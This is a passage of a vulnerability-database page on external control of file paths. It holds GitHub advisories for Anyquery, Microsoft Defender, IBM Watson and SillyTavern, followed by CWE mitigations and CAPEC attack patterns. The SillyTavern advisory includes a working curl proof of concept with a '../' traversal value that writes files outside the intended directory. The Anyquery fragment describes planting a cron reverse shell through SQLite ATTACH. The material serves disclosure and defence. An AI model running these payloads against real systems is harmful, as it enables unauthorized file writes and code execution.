pwn.test (cmd TEXT);\n INSERT INTO pwn.test VALUES (\u0027Hello Anyquery AFW\u0027);\n ```\nWithin 60 seconds, the system\u0027s cron daemon will ignore the SQLite header, parse the valid cron string, and execute the reverse shell payload with root privileges.\n\n## Impact\n- **Confidentiality:** None (from the write action itself, though combined with LFR it becomes High).\n- **Integrity:** High. Arbitrary files can be written or overwritten, which corrupts the filesystem.\n- **Availability:** High. Overwriting critical system files (e.g., configurations, databases) can lead to complete Denial of Service (DoS).\n- **CVSS Score:** 9.1 (Critical) - `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H`\n - *Note: If the process is running with elevated privileges (e.g., root) or inside a web root directory, this escalates to Remote Code Execution (RCE) with a CVSS of 9.8 (Critical).*\n\n## Remediation\nDisable dangerous SQLite functions (`ATTACH DATABASE`, `DETACH DATABASE`, etc.) when running in Server Mode. Restrict the MySQL handler so that it only permits operations on the main database or in-memory virtual tables.",
"id": "GHSA-xrcf-6jh3-ggvx",
"modified": "2026-07-14T18:33:57Z",
"published": "2026-07-14T18:33:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/julien040/anyquery/security/advisories/GHSA-xrcf-6jh3-ggvx"
},
{
"type": "PACKAGE",
"url": "https://github.com/julien040/anyquery"
},
{
"type": "WEB",
"url": "https://github.com/julien040/anyquery/releases/tag/0.4.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Anyquery: Arbitrary File Write (AFW) which could lead to Remote Code Execution (RCE) via Unrestricted ATTACH DATABASE in Server Mode"
}
GHSA-XRJQ-MMX8-72H6
Vulnerability from github – Published: 2025-05-13 18:30 – Updated: 2025-05-13 18:30External control of file name or path in Microsoft Defender for Endpoint allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2025-26684"
],
"database_specific": {
"cwe_ids": [
"CWE-610",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-13T17:15:51Z",
"severity": "MODERATE"
},
"details": "External control of file name or path in Microsoft Defender for Endpoint allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-xrjq-mmx8-72h6",
"modified": "2025-05-13T18:30:53Z",
"published": "2025-05-13T18:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26684"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-26684"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XV72-QGPM-8GW4
Vulnerability from github – Published: 2024-03-05 21:30 – Updated: 2024-03-05 21:30IBM Watson CP4D Data Stores 4.6.0 through 4.6.3 could allow a user with physical access and specific knowledge of the system to modify files or data on the system. IBM X-Force ID: 248415.
{
"affected": [],
"aliases": [
"CVE-2023-26282"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-05T20:16:01Z",
"severity": "MODERATE"
},
"details": "IBM Watson CP4D Data Stores 4.6.0 through 4.6.3 could allow a user with physical access and specific knowledge of the system to modify files or data on the system. IBM X-Force ID: 248415.",
"id": "GHSA-xv72-qgpm-8gw4",
"modified": "2024-03-05T21:30:25Z",
"published": "2024-03-05T21:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26282"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/248415"
},
{
"type": "WEB",
"url": "https://https://www.ibm.com/support/pages/node/6965452"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XVWW-XHX6-22PF
Vulnerability from github – Published: 2026-04-01 21:36 – Updated: 2026-04-06 17:24Summary
A path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into character_name.
Details
character_name is used unsafely as part of the destination filename and then passed into path.join(...) without sanitization.
Evidence:
- Import handler entrypoint:
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686
- Unsanitized character_name used in output filename:
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723
- Same write pattern in JSONL import branch:
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766
- Endpoint auth context (authenticated user access):
https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239
Example payload:
- character_name=../../../../tmp/st_poc
This causes the final destination path to escape from <user>/chats/<avatar>/... and write to an attacker-controlled location such as /tmp/... (or any writable path for the service account).
PoC
Prerequisites:
- Valid authenticated session cookie (cookie.txt)
- Valid CSRF token ($TOKEN)
Prepare payload:
printf '{"user_name":"u","chat_metadata":{}}\n{"name":"u","mes":"owned"}\n' >/tmp/poc.jsonl
Trigger arbitrary write:
curl -b cookie.txt -H "x-csrf-token: $TOKEN" \
-F "avatar=@/tmp/poc.jsonl" \
-F "file_type=jsonl" \
-F "avatar_url=a.png" \
-F "character_name=../../../../tmp/st_poc" \
-F "user_name=u" \
http://TARGET:8000/api/chats/import
Observed result:
- A file is created outside chats directory, for example:
/tmp/st_poc - <timestamp> imported.jsonl
Impact
- Integrity: attacker can create files in unintended filesystem locations.
- Availability: can be used for disk abuse and disruptive file placement.
- Can become more severe when chained with other local processing behaviors.
Resolution
The issue was addressed in version 1.17.0
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.16.0"
},
"package": {
"ecosystem": "npm",
"name": "sillytavern"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.17.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34522"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T21:36:40Z",
"nvd_published_at": "2026-04-02T18:16:29Z",
"severity": "HIGH"
},
"details": "### Summary\nA path traversal vulnerability in `/api/chats/import` allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into `character_name`.\n\n### Details\n`character_name` is used unsafely as part of the destination filename and then passed into `path.join(...)` without sanitization.\n\nEvidence:\n- Import handler entrypoint: \n \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686\u003e\n- Unsanitized `character_name` used in output filename: \n \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723\u003e\n- Same write pattern in JSONL import branch: \n \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766\u003e\n- Endpoint auth context (authenticated user access): \n \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239\u003e\n\nExample payload:\n- `character_name=../../../../tmp/st_poc`\n\nThis causes the final destination path to escape from `\u003cuser\u003e/chats/\u003cavatar\u003e/...` and write to an attacker-controlled location such as `/tmp/...` (or any writable path for the service account).\n\n### PoC\nPrerequisites:\n- Valid authenticated session cookie (`cookie.txt`)\n- Valid CSRF token (`$TOKEN`)\n\nPrepare payload:\n\n```bash\nprintf \u0027{\"user_name\":\"u\",\"chat_metadata\":{}}\\n{\"name\":\"u\",\"mes\":\"owned\"}\\n\u0027 \u003e/tmp/poc.jsonl\n```\n\nTrigger arbitrary write:\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" \\\n -F \"avatar=@/tmp/poc.jsonl\" \\\n -F \"file_type=jsonl\" \\\n -F \"avatar_url=a.png\" \\\n -F \"character_name=../../../../tmp/st_poc\" \\\n -F \"user_name=u\" \\\n http://TARGET:8000/api/chats/import\n```\n\nObserved result:\n- A file is created outside chats directory, for example: \n `/tmp/st_poc - \u003ctimestamp\u003e imported.jsonl`\n\n### Impact\n- Integrity: attacker can create files in unintended filesystem locations.\n- Availability: can be used for disk abuse and disruptive file placement.\n- Can become more severe when chained with other local processing behaviors.\n\n### Resolution\n\nThe issue was addressed in version 1.17.0",
"id": "GHSA-xvww-xhx6-22pf",
"modified": "2026-04-06T17:24:54Z",
"published": "2026-04-01T21:36:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-xvww-xhx6-22pf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34522"
},
{
"type": "PACKAGE",
"url": "https://github.com/SillyTavern/SillyTavern"
},
{
"type": "WEB",
"url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SillyTavern has a path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory"
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.